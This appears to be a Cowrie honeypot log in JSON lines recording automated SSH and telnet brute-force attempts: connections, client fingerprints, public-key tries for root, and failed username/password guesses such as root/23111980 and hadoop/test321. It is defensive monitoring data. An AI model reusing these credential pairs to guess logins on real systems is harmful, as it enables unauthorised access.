{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2b:0a:c2:6e:f3:72:e2:01:3e:13:5a:51:ea:5c:48:b9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAnRH1Nartm6KwPhGI0fXztM9rFdyrCN58kchlk399u2BtAHR7+tl9S6KUKZBbhcNFsi3E9B6FbgCbaL6IGnIw/VYM6Bh+jwrMXzxx6Mlv0UlAwbRaG/NPf9k8Hlr03ibLwrImd872IgaplFXjRXMH3UA8cxYHOieMUiD77AGAM9txr9TRmuiMFRxrhFRepXGPAwWCwrCXD1R8hXMaK6O2rTe+WPVfjng5VrCm97ycWOB6PvFn80aO4pidmUTPoX08y5Za9pz3+WLtj48fWMGQGe4TFKUDMdqcQymBZ+ILsWiF3Vew/PCUJFFH2GNGTuoGaJx2HkpfnVdMhNVUl2PfxQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2b:0a:c2:6e:f3:72:e2:01:3e:13:5a:51:ea:5c:48:b9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:25:43.611514Z","src_ip":"65.181.112.131","session":"617299026525","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2b:0a:c2:6e:f3:72:e2:01:3e:13:5a:51:ea:5c:48:b9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAnRH1Nartm6KwPhGI0fXztM9rFdyrCN58kchlk399u2BtAHR7+tl9S6KUKZBbhcNFsi3E9B6FbgCbaL6IGnIw/VYM6Bh+jwrMXzxx6Mlv0UlAwbRaG/NPf9k8Hlr03ibLwrImd872IgaplFXjRXMH3UA8cxYHOieMUiD77AGAM9txr9TRmuiMFRxrhFRepXGPAwWCwrCXD1R8hXMaK6O2rTe+WPVfjng5VrCm97ycWOB6PvFn80aO4pidmUTPoX08y5Za9pz3+WLtj48fWMGQGe4TFKUDMdqcQymBZ+ILsWiF3Vew/PCUJFFH2GNGTuoGaJx2HkpfnVdMhNVUl2PfxQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:25:43.614260Z","src_ip":"65.181.112.131","session":"617299026525","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"be:d9:8c:bb:cd:df:b5:03:c4:8d:5f:6e:e9:e3:f0:57","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC/DZENawSxXacVAk5zMDZnELhBqrq/Zar7q12vzLIoRb9b5l4diK6RYXgArYbSk8S8ErJU+JaDlhWbJ/q7Oiw1iy32q+jiEeuIE4CePYoGPiNdB5ygxV4oeSS+gv0L0xIynyFUWWkM3fkfRvVbdoAzE5v6oyvGD5geafAlYEQTccCPne+MzsxA6o2MyL0NeSPI7qbwKfSrvigR3eFuPj9FHCyltOawnmoUJpEL3EVqay9yZEpRYo4aUtPE9clU92JnchDl+JrJL8ztg0BnyOOlqewDf5rG2Afu6jGlV9AHF0JrPqJ1S2s9E25bj7StlByNL0fhP7mKnscGi4k6MbrR+gx6dpBw3YKFg0LMkGwEJAQzXKSIAubwVxLDFYou/OfB/wTV36JrL06U28gXCTiY8EUt/jb5MqIqf9AbEw9m5brsJa6zP/JIBdH0IymnJR3gFzI/ARZrz0NStI/FNzU9VGvBCnfSdkMOxYbQI+8fy3QsRnvAuSg/Nyxp20JnWJPBrHocVSH5asBIyFsfwq5RyWtAaburStDaNE/I4kk6UQqJgxUwZEMYeQj0gl3LsJffVNTpNGi+ccLxK+rRG3YX+R7qqkVkWkoVNSFTkkw+7MszDEIpmETrpWxhpmeRbbY027ggeSnB1sSMjqEm/KipIPrno0urEFJms+xDRca2qw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint be:d9:8c:bb:cd:df:b5:03:c4:8d:5f:6e:e9:e3:f0:57","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:25:43.655795Z","src_ip":"65.181.112.131","session":"617299026525","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"be:d9:8c:bb:cd:df:b5:03:c4:8d:5f:6e:e9:e3:f0:57","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC/DZENawSxXacVAk5zMDZnELhBqrq/Zar7q12vzLIoRb9b5l4diK6RYXgArYbSk8S8ErJU+JaDlhWbJ/q7Oiw1iy32q+jiEeuIE4CePYoGPiNdB5ygxV4oeSS+gv0L0xIynyFUWWkM3fkfRvVbdoAzE5v6oyvGD5geafAlYEQTccCPne+MzsxA6o2MyL0NeSPI7qbwKfSrvigR3eFuPj9FHCyltOawnmoUJpEL3EVqay9yZEpRYo4aUtPE9clU92JnchDl+JrJL8ztg0BnyOOlqewDf5rG2Afu6jGlV9AHF0JrPqJ1S2s9E25bj7StlByNL0fhP7mKnscGi4k6MbrR+gx6dpBw3YKFg0LMkGwEJAQzXKSIAubwVxLDFYou/OfB/wTV36JrL06U28gXCTiY8EUt/jb5MqIqf9AbEw9m5brsJa6zP/JIBdH0IymnJR3gFzI/ARZrz0NStI/FNzU9VGvBCnfSdkMOxYbQI+8fy3QsRnvAuSg/Nyxp20JnWJPBrHocVSH5asBIyFsfwq5RyWtAaburStDaNE/I4kk6UQqJgxUwZEMYeQj0gl3LsJffVNTpNGi+ccLxK+rRG3YX+R7qqkVkWkoVNSFTkkw+7MszDEIpmETrpWxhpmeRbbY027ggeSnB1sSMjqEm/KipIPrno0urEFJms+xDRca2qw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:25:43.659824Z","src_ip":"65.181.112.131","session":"617299026525","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"48:18:fc:87:39:a9:f3:77:fd:8e:ba:bf:39:ef:77:89","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxk+pZ+bEanPRdlr3wXE2Z0k+Su4gTDGGBe3COAdpsjTi2REPLebJrNKq1U3bsnlQ7bE7t7JrYwJ2VIDetDxqI/xvEy6evOj/C7YHy+QkK/dSrXe3GMl+t4DdIfsKdeL14FZ0rDhknW9iKWxuhC1vyHiDeC931AtFHfKC6M58+bt3zf0mvQewM/6g5mExkuBqfjTmVpZiEgfT4I6B8gZ87xySe7/ziq3Bwea2XV3uAEYeqiyCOZe7e5sXJ3WT7M7pPJj79xzKO9oIJhPgPZmkg+6X4ukXmgzwmiCTOEgiqovygbvhXZ05VV+kMYFFJu2+MW/c2Pq9XNCIkXerpH3PB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 48:18:fc:87:39:a9:f3:77:fd:8e:ba:bf:39:ef:77:89","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:25:43.706461Z","src_ip":"65.181.112.131","session":"617299026525","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"48:18:fc:87:39:a9:f3:77:fd:8e:ba:bf:39:ef:77:89","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxk+pZ+bEanPRdlr3wXE2Z0k+Su4gTDGGBe3COAdpsjTi2REPLebJrNKq1U3bsnlQ7bE7t7JrYwJ2VIDetDxqI/xvEy6evOj/C7YHy+QkK/dSrXe3GMl+t4DdIfsKdeL14FZ0rDhknW9iKWxuhC1vyHiDeC931AtFHfKC6M58+bt3zf0mvQewM/6g5mExkuBqfjTmVpZiEgfT4I6B8gZ87xySe7/ziq3Bwea2XV3uAEYeqiyCOZe7e5sXJ3WT7M7pPJj79xzKO9oIJhPgPZmkg+6X4ukXmgzwmiCTOEgiqovygbvhXZ05VV+kMYFFJu2+MW/c2Pq9XNCIkXerpH3PB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:25:43.709497Z","src_ip":"65.181.112.131","session":"617299026525","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ee:45:43:a4:79:18:84:dd:4d:34:d3:98:c6:0e:70:5d","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILGXWP4RHWxUGCV9QCLBKZTkqEqjLbAyjcX4YVC2Y3Xi","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint ee:45:43:a4:79:18:84:dd:4d:34:d3:98:c6:0e:70:5d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:25:43.755841Z","src_ip":"65.181.112.131","session":"617299026525","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ee:45:43:a4:79:18:84:dd:4d:34:d3:98:c6:0e:70:5d","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILGXWP4RHWxUGCV9QCLBKZTkqEqjLbAyjcX4YVC2Y3Xi","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:25:43.760161Z","src_ip":"65.181.112.131","session":"617299026525","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:25:43.807429Z","src_ip":"65.181.112.131","session":"617299026525","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":54408,"dst_ip":"159.203.135.109","dst_port":22,"session":"4b79c56c6fe1","protocol":"ssh","message":"New connection: 176.32.39.21:54408 (159.203.135.109:22) [session: 4b79c56c6fe1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:25:46.804407Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:25:46.808684Z","src_ip":"176.32.39.21","session":"4b79c56c6fe1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:25:46.924908Z","src_ip":"176.32.39.21","session":"4b79c56c6fe1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11051980","message":"login attempt [root/11051980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:25:47.272024Z","src_ip":"176.32.39.21","session":"4b79c56c6fe1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:25:48.389843Z","src_ip":"176.32.39.21","session":"4b79c56c6fe1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":50990,"dst_ip":"159.203.135.109","dst_port":23,"session":"e4f5e8271cb9","protocol":"telnet","message":"New connection: 170.64.224.25:50990 (159.203.135.109:23) [session: e4f5e8271cb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:25:55.055160Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":36178,"dst_ip":"10.17.0.5","dst_port":22,"session":"f0d14ddd4d41","protocol":"ssh","message":"New connection: 91.92.40.4:36178 (10.17.0.5:22) [session: f0d14ddd4d41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:25:57.187551Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:25:57.196615Z","src_ip":"91.92.40.4","session":"f0d14ddd4d41","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:25:57.279841Z","src_ip":"91.92.40.4","session":"f0d14ddd4d41","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"test321","message":"login attempt [hadoop/test321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:25:57.537479Z","src_ip":"91.92.40.4","session":"f0d14ddd4d41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:25:58.622258Z","src_ip":"91.92.40.4","session":"f0d14ddd4d41","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.93.7.194","src_port":55914,"dst_ip":"159.203.135.109","dst_port":22,"session":"619d2b132abe","protocol":"ssh","message":"New connection: 182.93.7.194:55914 (159.203.135.109:22) [session: 619d2b132abe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:26:20.167764Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:26:20.173054Z","src_ip":"182.93.7.194","session":"619d2b132abe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:26:20.393816Z","src_ip":"182.93.7.194","session":"619d2b132abe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"banana","password":"banana","message":"login attempt [banana/banana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:26:21.309730Z","src_ip":"182.93.7.194","session":"619d2b132abe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:26:22.534393Z","src_ip":"182.93.7.194","session":"619d2b132abe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.116.158","src_port":35822,"dst_ip":"159.203.135.109","dst_port":23,"session":"9e1170c8e21d","protocol":"telnet","message":"New connection: 167.172.116.158:35822 (159.203.135.109:23) [session: 9e1170c8e21d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:26:44.994773Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.215.121.209","src_port":48534,"dst_ip":"10.17.0.5","dst_port":22,"session":"dbc0fdd46943","protocol":"ssh","message":"New connection: 85.215.121.209:48534 (10.17.0.5:22) [session: dbc0fdd46943]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:27:25.767583Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:27:25.771540Z","src_ip":"85.215.121.209","session":"dbc0fdd46943","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:27:25.864061Z","src_ip":"85.215.121.209","session":"dbc0fdd46943","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"S1@c0!n!S3cur3#W0rd","message":"login attempt [root/S1@c0!n!S3cur3#W0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:27:26.142251Z","src_ip":"85.215.121.209","session":"dbc0fdd46943","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:27:27.237417Z","src_ip":"85.215.121.209","session":"dbc0fdd46943","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":55596,"dst_ip":"10.17.0.5","dst_port":22,"session":"ac0a7f2a9af0","protocol":"ssh","message":"New connection: 103.15.222.183:55596 (10.17.0.5:22) [session: ac0a7f2a9af0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:27:29.687698Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:27:29.691472Z","src_ip":"103.15.222.183","session":"ac0a7f2a9af0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:27:29.922948Z","src_ip":"103.15.222.183","session":"ac0a7f2a9af0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"23111980","message":"login attempt [root/23111980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:27:30.616713Z","src_ip":"103.15.222.183","session":"ac0a7f2a9af0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:27:31.849666Z","src_ip":"103.15.222.183","session":"ac0a7f2a9af0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0094792842865,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:27:55.064486Z","src_ip":"170.64.224.25","session":"e4f5e8271cb9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":54194,"dst_ip":"10.17.0.5","dst_port":22,"session":"593a96de81ff","protocol":"ssh","message":"New connection: 103.27.238.114:54194 (10.17.0.5:22) [session: 593a96de81ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:27:58.399497Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:27:58.403092Z","src_ip":"103.27.238.114","session":"593a96de81ff","protocol":"ssh"}
